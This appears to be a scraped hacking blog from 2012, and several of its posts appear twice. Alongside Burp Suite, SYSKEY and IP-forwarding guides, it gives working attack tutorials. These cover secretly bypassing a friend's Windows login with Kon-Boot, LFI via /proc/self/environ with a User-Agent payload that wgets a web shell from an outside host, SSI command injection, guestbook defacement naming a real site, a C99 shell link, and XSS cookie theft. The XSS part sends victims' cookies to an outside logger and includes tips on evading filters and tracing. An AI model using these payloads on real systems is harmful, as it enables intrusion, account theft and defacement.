Monday, May 28, 2012
7:21 AM
Sunday, May 27, 2012
9:25 AM
SL4ID3R
No comments
Burp Sequencer
The Burp Sequencer tool is used to check for the extent of randomness in the session tokens generated by the Web application. Brute force attacks enumerate every possible combination for gaining authentication from the Web application. Thus it is important to have a high degree of randomness in the session token IDs. For this Burp Suite training tutorial, let us start with sending a request that contains a session token.
For this Burp Suite training tutorial, let us look at the following options provided by Burp sequencer. None of these is compulsory for analysis and they can be chosen or dropped as desired.
1. Character count analysis
This test analyzes the distribution of characters used within each token.
2. Character transition analysis
This test analyzes the transition of characters between successive tokens. Depending on the randomness of the characters, the transitional analytics vary.
FIPS monobit test
This test does an analysis of the positions of 0s and 1s at each bit position. If the generation is random, then the distribution is likely to be approximately equal.
a. FIPS poker test
This divides the bit sequence into consecutive and unique groups of four. The distribution is evaluated by a chi-square calculation method.
b. FIPS runs test
As the name suggests, the bit sequence is divided into runs of consecutive bits with the same value.
c. FIPS long runs test
Similar to FIPS runs test, this test analyzes the longest bit sequence with consecutive bits of the same value.
d. Spectral tests
This is an advanced method with complex statistical analytics. It treats a bit sequence as a point in multidimensional space and performs the analytics.
e. Correlation test
The tests described thus far analyze each bit in an isolated manner. The correlation test puts together these isolated results and presents the analytics by considering bits as a whole.
f. Compression test
This test works on the principle of the standard ZLIB compression technique. The bit sequences are compressed and the degree of compression is calculated. A higher degree of compression translates to a lower degree of randomness.
Burp Decoder
The Burp Decoder Tool is used to send a request to the decoder. Within the decoder, there are multiple options to encode the request in various formats such as base64, URL, and so on. There are also options to convert it to hashes such as MD5 or SHA-1.
Burp Comparer
Burp Comparer is used for comparisons between two sets of data. For instance, the two sets could display responses to two different requests. The comparison can be performed either on a word scale (word by word) or bit by bit. Burp automates this process for the user and compares the two requests or responses accordingly. For this Burp Suite training tutorial, the comparison shown in Figure 6 is of two different requests to a website.
The Burp Sequencer tool is used to check for the extent of randomness in the session tokens generated by the Web application. Brute force attacks enumerate every possible combination for gaining authentication from the Web application. Thus it is important to have a high degree of randomness in the session token IDs. For this Burp Suite training tutorial, let us start with sending a request that contains a session token.
Token request using sequencer
Figure 1 shows a token request to the website google.com. The right
side of the screenshot has the token start and token end expressions.
You can either specify an expression such as “Google” or even set the
offset from where the token has to start. This also applies to the token
end panel, where you can set the delimiter, or specify a fixed length
for the capture to start. After fixing these parameters, click START
CAPTURE.
Start capture action panel
The start capture action panel is depicted in Figure 2. It
sends requests to the target and gives detailed analysis of the
randomness in the cookie tokens. You can pause or stop the analysis at
any point. For this Burp Suite training tutorial, stop the scan midway
and check out the results. The screenshot in Figure 3 explains the
results better.
Token randomness analysis results
The scan components are as follows:- Overall result
- Effective entropy
- Reliability
- Sample size
For this Burp Suite training tutorial, let us look at the following options provided by Burp sequencer. None of these is compulsory for analysis and they can be chosen or dropped as desired.
1. Character count analysis
This test analyzes the distribution of characters used within each token.
2. Character transition analysis
This test analyzes the transition of characters between successive tokens. Depending on the randomness of the characters, the transitional analytics vary.
FIPS monobit test
This test does an analysis of the positions of 0s and 1s at each bit position. If the generation is random, then the distribution is likely to be approximately equal.
a. FIPS poker test
This divides the bit sequence into consecutive and unique groups of four. The distribution is evaluated by a chi-square calculation method.
b. FIPS runs test
As the name suggests, the bit sequence is divided into runs of consecutive bits with the same value.
c. FIPS long runs test
Similar to FIPS runs test, this test analyzes the longest bit sequence with consecutive bits of the same value.
d. Spectral tests
This is an advanced method with complex statistical analytics. It treats a bit sequence as a point in multidimensional space and performs the analytics.
e. Correlation test
The tests described thus far analyze each bit in an isolated manner. The correlation test puts together these isolated results and presents the analytics by considering bits as a whole.
f. Compression test
This test works on the principle of the standard ZLIB compression technique. The bit sequences are compressed and the degree of compression is calculated. A higher degree of compression translates to a lower degree of randomness.
Burp Decoder
The Burp Decoder Tool is used to send a request to the decoder. Within the decoder, there are multiple options to encode the request in various formats such as base64, URL, and so on. There are also options to convert it to hashes such as MD5 or SHA-1.
Burp Decoder
Figure 4 depicts a Burp Decoder request. For our Burp Suite training
tutorial, consider an encoded request such as the one shown in Figure 5.
The upper portion shows a request encoded in the base64 format while
the lower one depicts the request decoded into plain text. While the
entire request has been encoded here, you could also selectively choose a
portion of the request to decode/encode.
Encoded Request
This tool is useful when there is client-side encryption of username
and password into commonly used hashes or encoders. The username or
password field can be selectively decoded and the content then viewed in
plaintext.Burp Comparer
Burp Comparer is used for comparisons between two sets of data. For instance, the two sets could display responses to two different requests. The comparison can be performed either on a word scale (word by word) or bit by bit. Burp automates this process for the user and compares the two requests or responses accordingly. For this Burp Suite training tutorial, the comparison shown in Figure 6 is of two different requests to a website.
Comparison of requests to a website
This ends the Burp Suite training tutorial series. The extent to
which Burp Suite can be used is limited only by the imagination of the
user- 9:24 AM
- SL4ID3R
- No comments
First, what is “syskey”?
SYSKEY is a utility that encrypts the hashed password information in a SAM database in a Windows system using a 128-bit encryption key.
SYSKEY was an optional feature added in Windows NT 4.0 SP3. It was meant to protect against offline password cracking attacks so that the SAM database would still be secure even if someone had a copy of it. However, in December 1999, a security team from Bind View found a security hole in SYSKEY which indicates that a certain form of cryptanalytic attack is possible offline. A brute force attack then appeared to be possible.
Microsoft later collaborated with Bind View to issue a fix for the problem (dubbed the ‘Syskey Bug’) which appears to have been settled and SYSKEY has been pronounced secure enough to resist brute force attack.
According to Todd Sabin of the Bind View team RAZOR, the pre-RC3 versions of Windows 2000 were also affected.
So this is pretty cool, right? Well, I really like the idea of keeping this on Floppy so that it requires a floppy disk (a sort of 2 factor (hardware/software) authentication?).
Naturally I wanted to go a bit further and use this on a USB drive instead of storing to a Floppy. I can’t see myself carrying a floppy and a USB floppy drive around with me. After all, this provides another layer of security.
NOTE: I haven’t tested copying data from 1 USB to another USB to see if it works as a backup. This way you could lock up a USB drive as a spare if needed.
Here’s how to get this to work using a USB drive.
1. Insert your USB drive into your system and wait for it to be recognized and install any necessary drivers.
2. Fire up disk management and re-assign the drive letter it was given to “A”.
Start up disk management by clicking Start and typing diskmgmt.msc
Right-click the USB drive and choose to assign driver letter or path.
Assign it to letter “A”
Accept the warning message
Now your USB drive is “A”
3. Run Syskey and save encryption to USB Drive “A”
Click Start and type syskey followed by hitting Enter
Syskey launched; Click “Update”
Choose “Store Startup key on floppy disk” and click “OK”
You’ll be prompted to enter your diskette. Make sure your USB drive is inserted and writable.
4. Reboot and have fun. Don’t lose your USB disk! Also, to revert this, you can run syskey again and choose to store it locally instead of “on a floppy disk”.
SYSKEY is a utility that encrypts the hashed password information in a SAM database in a Windows system using a 128-bit encryption key.
SYSKEY was an optional feature added in Windows NT 4.0 SP3. It was meant to protect against offline password cracking attacks so that the SAM database would still be secure even if someone had a copy of it. However, in December 1999, a security team from Bind View found a security hole in SYSKEY which indicates that a certain form of cryptanalytic attack is possible offline. A brute force attack then appeared to be possible.
Microsoft later collaborated with Bind View to issue a fix for the problem (dubbed the ‘Syskey Bug’) which appears to have been settled and SYSKEY has been pronounced secure enough to resist brute force attack.
According to Todd Sabin of the Bind View team RAZOR, the pre-RC3 versions of Windows 2000 were also affected.
So this is pretty cool, right? Well, I really like the idea of keeping this on Floppy so that it requires a floppy disk (a sort of 2 factor (hardware/software) authentication?).
Naturally I wanted to go a bit further and use this on a USB drive instead of storing to a Floppy. I can’t see myself carrying a floppy and a USB floppy drive around with me. After all, this provides another layer of security.
NOTE: I haven’t tested copying data from 1 USB to another USB to see if it works as a backup. This way you could lock up a USB drive as a spare if needed.
Here’s how to get this to work using a USB drive.
1. Insert your USB drive into your system and wait for it to be recognized and install any necessary drivers.
2. Fire up disk management and re-assign the drive letter it was given to “A”.
Start up disk management by clicking Start and typing diskmgmt.msc
Right-click the USB drive and choose to assign driver letter or path.
Assign it to letter “A”
Accept the warning message
Now your USB drive is “A”
3. Run Syskey and save encryption to USB Drive “A”
Click Start and type syskey followed by hitting Enter
Syskey launched; Click “Update”
Choose “Store Startup key on floppy disk” and click “OK”
You’ll be prompted to enter your diskette. Make sure your USB drive is inserted and writable.
4. Reboot and have fun. Don’t lose your USB disk! Also, to revert this, you can run syskey again and choose to store it locally instead of “on a floppy disk”.
- 9:22 AM
- SL4ID3R
- 2 comments
Guys you must be knowing how to break the
password of Windows by using some Live OS. But using Live OS is bit
complicated and sometimes they take a lot of time to crack a password.
So in this tutorial you will see how to bypass Windows OS so that you
will not indulge in complicated situation and can save your time.
At first we need a software called Kon-Boot
and we will have to make either CD or Pendrive bootable with this
software. Kon-boot comes with many versions and but i am using Kon-boot
v1.1 and below are the steps for making CD or Pendrive bootable.
1. Insert your CD into your CD Rom or Plug in your Pendrive into your system.
2. Open Kon-Boot v1.1 folder.
3. For making Bootable CD go to KONCD and burn the image file.
4. For creating bootable pendrive go to
KONUSB and double click on Konbootintall.exe and you will get a command
prompt. Type the name of your Pendrive’s drive letter(i.e g: or h:).
Thats all you have to do. Now your CD and Pendrive will get bootable.
Restart the system which you want to
bypass, insert the Bootable CD of Konboot or Plugin your Pendrive. Make
sure in Boot priority CD or USB should be in the first option. If it is
not there then hit F12 at the BIOS screen and choose CD or USB in the
first option. Now the system would start with the help of konboot and
you will get this screen.
Now here choose Konboot v1.1 option
Click Enter after getting the following screen.
Kon boot will modify the memory to let you login without knowing a password in windows.
In windows XP it will directly show Desktop
without showing any login screen. For Windows7 it will show login
Screen but it doesn’t mean that you need a particular password for it.
Just type any random password or simply hit enter without giving any
password and after that you will get the Desktop. Now you can take the
control of the Whole system, you can modify anything, copy data into
your pendrive etc. Now next time when your friend login he/she will get
the same login screen with same password. It means your friend will not
get any kind notification about his/her system which has been hacked by
you.
Konboot can also bypass the authentication process of Linux (but not for all distros) and MAC OS.
- 9:18 AM
- SL4ID3R
- 2 comments
As an example, let say you have 7 computers and 2 network switches, and need to create 2 networks that can access Internet, so how to do it?? Some more information, one of the computers is equipped with 3 network cards and one of the network cards is connected to cable/DSL modem to access Internet, so this computer will act as a router! Configure the network cards on the router with following information.
Router (Windows XP Professional)
Network Card A (connect to network A):
IP: 10.10.10.1
Netmask: 255.255.255.0
Gateway (GW): [leave it blank]
Network Card B (connect to network B):
IP: 192.168.20.1
Netmask: 255.255.255.0
Gateway (GW): [leave it blank]
Network Card C (connect to Internet via cable/dsl connection)
This information will be based on the Internet connection service which you have subscribed.
IP: 192.168.1.1
Netmask: 255.255.255.0
Gateway (GW): 192.168.1.1
Configure all the computers in network A with following information.
Network A
IP: 10.10.10.2-254
Netmask: 255.255.255.0
Gateway (GW): 10.10.10.1
Configure all the computers in network B with following information.
Network B
IP: 192.168.20.2-254
Netmask: 255.255.255.0
Gateway: 192.168.20.1
Ok.. Now it’s the time to configure IP forwarding on that router…
1) Go to Start and click Run…, then type in regedit to run registry editor.
Note: Please note that only System Administrator can run registry editor.
2) Registry editor window will appear. Browse for the following registry key at the left hand side window:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParameters
Right click IPEnableRouter registry object, and click Modify.
Note: Be extra careful when you deal with registry editor, wrong editing will crash you Windows OS.
Saturday, May 12, 2012
- 6:42 PM
- SL4ID3R
- 3 comments
1 – Introduction
In this tutorial I show you how to get a shell on websites using Local File Inclusion vulnerabilities and
injection malicious code in proc/self/environ.Is a step by step tutorial.
2 – Finding LFI
- Now we are going to find a Local File Inclusion vulnerable website.So we found our target,lets check it.
www.website.com/view.php?page=contact.php
- Now lets replace contact.php with ../ so the URL will become
www.website.com/view.php?page=../
and we got an error
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
big chances to have a Local File Inclusion vulnerability.Let’s go to next step.
- Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :
www.website.com/view.php?page=../../../etc/passwd
we got error and no etc/passwd file
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
so we go more directories up
www.website.com/view.php?page=../../../../../etc/passwd
we succesfully included the etc/passwd file.
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
3 – Checking if proc/self/environ is accessible
- Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ
www.website.com/view.php?page=../../../../../proc/self/environ
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.
4 – Injecting malicious code
- Now let’s inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :
www.website.com/view.php?page=../../../../../proc/self/environ
Choose Tamper and in User-Agent filed write the following code :
<?system(‘wget http://hack-bay.com/Shells/gny.txt -O shell.php’);?>
{The Unknown: the link of the shell used has expired, use the Link I posted at the end of this Thread}
Then submit the request.
Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt {The Unknown: the link of the shell used has expired, use the Link I posted at the end of this Thread} and will save it as shell.php in the
website directory) through system(), and our shell will be created.If don’t work,try exec() because system() can be disabled on the webserver from php.ini.
5 – Access our shell
- Now lets check if our malicous code was successfully injected.Lets check if the shell is present.
www.website.com/shell.php
Our shell is there.Injection was succesfully.
Most of the Credits goes to: Konvict from glitcheaven.com
1- What is It?
A Server Side Include Attack is an Extremely Useful attack for executing commands on the server. You need basic knowledge of Bash or Batch to know what commands could help compromise the server to do this.
2- What Sites are Vulnerable?
For a site to be vulnerable to SSI Injection, Apache needs Server Side Includes aloud in the config file or the file extention must end in ‘.shtml’ ‘.shtm’ or ‘.stm’ both Apache, lighthttpd and IIS support SSI.
3- Testing for SSI Injection
To audit a site to check if it is vulnerable to SSI Injection you search all the directories for ‘.shtml’ ‘.shtm’ or ‘.stm’ extentions, if you find any then its probably enabled, if you dont find any it still may be enabled. It effects pages with unsanitized requests, (eg no filters, filtering < !–#exec …–>) To test you enter the following command into the request
< !–#exec cmd=”ls” –>
If you get a filesystem output appear then it is vulnerable, if the server is Windows replace the ‘ls’ for ‘dir’
You test for SSI the same way as XSS, you can post the command into
- Textboxes/search boxes
- Headers
- Cookies
- Address Bar
4- Useful Commands
-Show Files Linux
< !–#exec cmd=”ls” –>
-Show Files Windows
< !–#exec cmd=”dir” –>
-Read /etc/passwd
<!–#include virtual=”/etc/passwd” –>
-What User Is the webserver running on
< !–#exec cmd=”whoami” –>
-Download a shell to the server to get full control
< !–#exec cmd=”wget “shell.php”” –>
5- Dorks
Simillar to SQLi dorks, they get a list of sites that may or may not be vulnerable to SSI Injection
inurl:index.shtml
inurl:index.shtm
inurl:index.stm
Theres a few to start you off, but it is easy as pie to think of your own.
All credits goes to: http://doonstuntsmania.com/
1- HTML Injection or Guestbook Deface is a way how you can deface a guestbook.
So basicully you can post a "hacked" comment to Guestbook. Also you can add music and more...
2- How to do it?
Firstly, you need a dork.
We will use this one
guestbook.asp
1. Now just simply search that on Google and you'll find some guestbooks...
2. Pick one of the Guestbooks
3. Copy paste a html script (see bottom) as comment
4. Publish comment
5. Now, if it worked, it will show up as nice colorful text and some sexy music...
6. If it didn't work, search another guestbook and try again.
So this is pretty useless but funn
Here is btw the guestbook which I hacked...
http://www.furoreinn.it/en/guestbook.asp
All credits goes to: Tuhoaja from pvhax.com
And here is something you will need for RFI and LFI: C99 Shell: http://www.mediafire.com/?b3sl39jusygszc3 (it's in .php if you wanna change it to .txt you can just open it with notepad and that's it)
Hope you all liked it this Thread full of Tutorials,
Thanks for reading,
The Unknown.
XSS (Cross Site Scripting)
In this TuT I will be explaining the procedure of Cookie Stealing via XSS in simple steps. It can be applied on any website but in this TuT I will use this :http://www.TheUnknown.com/
Step one: Finding a XSS vulnerability
Now everyone who wanna learn cookie stealing via XSS all ready know this , so I won't explain it in detail here .
In here I will stick to GET variable XSS to make it easier.
Here's our PoC XSS vulnerability:
http://www.TheUnknown.com/search.php?query="><scblockedript>alert(123)</scblockedript>
When this page is loaded a message will pop up saying " 123 " this means we got our Vulnerability.
Step two: Setting up a cookie stealer
We will use PHP surely , here's an example of a simple cookie stealer :
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookie . "nn");
fclose($file);
?>
( You can find lots of em all over HF all you have to do is to stick to the Search button on the top of the page )
There's lots of ways to log cookie as well , the best one in my opinion can be found here ( It is more Secure ): http://ccl.whiteacid.org/ .If you use yours it will be easy to track you down this is why we will use this one cose it also gives you an anonymous account with a random ID number instead of a username . For this TuT I will be using this ID : 123456
Now lets check the service , and to do that , follow the link :
http://ccl.whiteacid.org/log.php?123456test_for_XSS.
As you see , THE ID MUST BE INCLUDED IN THE TEST URL .
Now we login to http://ccl.whiteacid.org/ and see the new entry with our IP, referer, user agent and of course the data "test_for_XSS". The cookie logger works fine.
Step three: Logging a cookie
So we have a XSS vulnerability and we have a cookie logger. Now we just have to connect them to each other.
We make a new injection (instead of that alert thing) which sends the cookie data. It could look like this:
http://www.TheUnknown.com/search.php?query="><scblockedript>location.href = 'http://ccl.whiteacid.org/log.php?123456'+document.cookie;</scblockedript>
If the site doesn't use addslashes() or any other filters that mess up our injection, we have successfully captured the cookie and saved it in our account. From here, we can copy the users' cookies (most commonly the sessions) to our own cookies and get into their accounts...
Step four: Filter evasion
Let's say we encountered the following common problem: the target page uses addslashes() on the GET variable before printing it, which kills our injection by destroying our quotes. No problem, we just have to do it another way then.
We register a new account on a free hosting site (I'll use the FreeWebs.com ) and make a new scblockedript file there. I make a file called cookiesteal.js and give it the following content:
location.href = 'http://ccl.whiteacid.org/log.php?123456'+document.cookie;
Now we call the scblockedript through the XSS vulnerable page:
http://www.TheUnknown.com/search.php?query="><scblockedript src=http://www.freewebs.com/uber0n/cookiesteal.js>
Login to http://ccl.whiteacid.org once again and you'll see the new entry. However, remember NOT to register the account on the hosting site with your normal nickname and make sure you register using a good proxy so that you can't be tracked. You can also ask XSSed.com to host your scblockedript files.
If you encounter other filters than addslashes, try running the scblockedripts through iframes, images etc.
Thanks for reading , Enjoy
In this tutorial I show you how to get a shell on websites using Local File Inclusion vulnerabilities and
injection malicious code in proc/self/environ.Is a step by step tutorial.
2 – Finding LFI
- Now we are going to find a Local File Inclusion vulnerable website.So we found our target,lets check it.
www.website.com/view.php?page=contact.php
- Now lets replace contact.php with ../ so the URL will become
www.website.com/view.php?page=../
and we got an error
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
big chances to have a Local File Inclusion vulnerability.Let’s go to next step.
- Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :
www.website.com/view.php?page=../../../etc/passwd
we got error and no etc/passwd file
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
so we go more directories up
www.website.com/view.php?page=../../../../../etc/passwd
we succesfully included the etc/passwd file.
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
3 – Checking if proc/self/environ is accessible
- Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ
www.website.com/view.php?page=../../../../../proc/self/environ
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.
4 – Injecting malicious code
- Now let’s inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :
www.website.com/view.php?page=../../../../../proc/self/environ
Choose Tamper and in User-Agent filed write the following code :
<?system(‘wget http://hack-bay.com/Shells/gny.txt -O shell.php’);?>
{The Unknown: the link of the shell used has expired, use the Link I posted at the end of this Thread}
Then submit the request.
Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt {The Unknown: the link of the shell used has expired, use the Link I posted at the end of this Thread} and will save it as shell.php in the
website directory) through system(), and our shell will be created.If don’t work,try exec() because system() can be disabled on the webserver from php.ini.
5 – Access our shell
- Now lets check if our malicous code was successfully injected.Lets check if the shell is present.
www.website.com/shell.php
Our shell is there.Injection was succesfully.
Most of the Credits goes to: Konvict from glitcheaven.com
SSI (Server Side Inclusion)
1- What is It?
A Server Side Include Attack is an Extremely Useful attack for executing commands on the server. You need basic knowledge of Bash or Batch to know what commands could help compromise the server to do this.
2- What Sites are Vulnerable?
For a site to be vulnerable to SSI Injection, Apache needs Server Side Includes aloud in the config file or the file extention must end in ‘.shtml’ ‘.shtm’ or ‘.stm’ both Apache, lighthttpd and IIS support SSI.
3- Testing for SSI Injection
To audit a site to check if it is vulnerable to SSI Injection you search all the directories for ‘.shtml’ ‘.shtm’ or ‘.stm’ extentions, if you find any then its probably enabled, if you dont find any it still may be enabled. It effects pages with unsanitized requests, (eg no filters, filtering < !–#exec …–>) To test you enter the following command into the request
< !–#exec cmd=”ls” –>
If you get a filesystem output appear then it is vulnerable, if the server is Windows replace the ‘ls’ for ‘dir’
You test for SSI the same way as XSS, you can post the command into
- Textboxes/search boxes
- Headers
- Cookies
- Address Bar
4- Useful Commands
-Show Files Linux
< !–#exec cmd=”ls” –>
-Show Files Windows
< !–#exec cmd=”dir” –>
-Read /etc/passwd
<!–#include virtual=”/etc/passwd” –>
-What User Is the webserver running on
< !–#exec cmd=”whoami” –>
-Download a shell to the server to get full control
< !–#exec cmd=”wget “shell.php”” –>
5- Dorks
Simillar to SQLi dorks, they get a list of sites that may or may not be vulnerable to SSI Injection
inurl:index.shtml
inurl:index.shtm
inurl:index.stm
Theres a few to start you off, but it is easy as pie to think of your own.
All credits goes to: http://doonstuntsmania.com/
HTMLi (HTML Injection)
1- HTML Injection or Guestbook Deface is a way how you can deface a guestbook.
So basicully you can post a "hacked" comment to Guestbook. Also you can add music and more...
2- How to do it?
Firstly, you need a dork.
We will use this one
guestbook.asp
1. Now just simply search that on Google and you'll find some guestbooks...
2. Pick one of the Guestbooks
3. Copy paste a html script (see bottom) as comment
4. Publish comment
5. Now, if it worked, it will show up as nice colorful text and some sexy music...
6. If it didn't work, search another guestbook and try again.
So this is pretty useless but funn
Here is btw the guestbook which I hacked...
http://www.furoreinn.it/en/guestbook.asp
All credits goes to: Tuhoaja from pvhax.com
And here is something you will need for RFI and LFI: C99 Shell: http://www.mediafire.com/?b3sl39jusygszc3 (it's in .php if you wanna change it to .txt you can just open it with notepad and that's it)
Hope you all liked it this Thread full of Tutorials,
Thanks for reading,
The Unknown.
XSS (Cross Site Scripting)
In this TuT I will be explaining the procedure of Cookie Stealing via XSS in simple steps. It can be applied on any website but in this TuT I will use this :http://www.TheUnknown.com/
Step one: Finding a XSS vulnerability
Now everyone who wanna learn cookie stealing via XSS all ready know this , so I won't explain it in detail here .
In here I will stick to GET variable XSS to make it easier.
Here's our PoC XSS vulnerability:
http://www.TheUnknown.com/search.php?query="><scblockedript>alert(123)</scblockedript>
When this page is loaded a message will pop up saying " 123 " this means we got our Vulnerability.
Step two: Setting up a cookie stealer
We will use PHP surely , here's an example of a simple cookie stealer :
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookie . "nn");
fclose($file);
?>
( You can find lots of em all over HF all you have to do is to stick to the Search button on the top of the page )
There's lots of ways to log cookie as well , the best one in my opinion can be found here ( It is more Secure ): http://ccl.whiteacid.org/ .If you use yours it will be easy to track you down this is why we will use this one cose it also gives you an anonymous account with a random ID number instead of a username . For this TuT I will be using this ID : 123456
Now lets check the service , and to do that , follow the link :
http://ccl.whiteacid.org/log.php?123456test_for_XSS.
As you see , THE ID MUST BE INCLUDED IN THE TEST URL .
Now we login to http://ccl.whiteacid.org/ and see the new entry with our IP, referer, user agent and of course the data "test_for_XSS". The cookie logger works fine.
Step three: Logging a cookie
So we have a XSS vulnerability and we have a cookie logger. Now we just have to connect them to each other.
We make a new injection (instead of that alert thing) which sends the cookie data. It could look like this:
http://www.TheUnknown.com/search.php?query="><scblockedript>location.href = 'http://ccl.whiteacid.org/log.php?123456'+document.cookie;</scblockedript>
If the site doesn't use addslashes() or any other filters that mess up our injection, we have successfully captured the cookie and saved it in our account. From here, we can copy the users' cookies (most commonly the sessions) to our own cookies and get into their accounts...
Step four: Filter evasion
Let's say we encountered the following common problem: the target page uses addslashes() on the GET variable before printing it, which kills our injection by destroying our quotes. No problem, we just have to do it another way then.
We register a new account on a free hosting site (I'll use the FreeWebs.com ) and make a new scblockedript file there. I make a file called cookiesteal.js and give it the following content:
location.href = 'http://ccl.whiteacid.org/log.php?123456'+document.cookie;
Now we call the scblockedript through the XSS vulnerable page:
http://www.TheUnknown.com/search.php?query="><scblockedript src=http://www.freewebs.com/uber0n/cookiesteal.js>
Login to http://ccl.whiteacid.org once again and you'll see the new entry. However, remember NOT to register the account on the hosting site with your normal nickname and make sure you register using a good proxy so that you can't be tracked. You can also ask XSSed.com to host your scblockedript files.
If you encounter other filters than addslashes, try running the scblockedripts through iframes, images etc.
Thanks for reading , Enjoy
Subscribe to:
Posts (Atom)
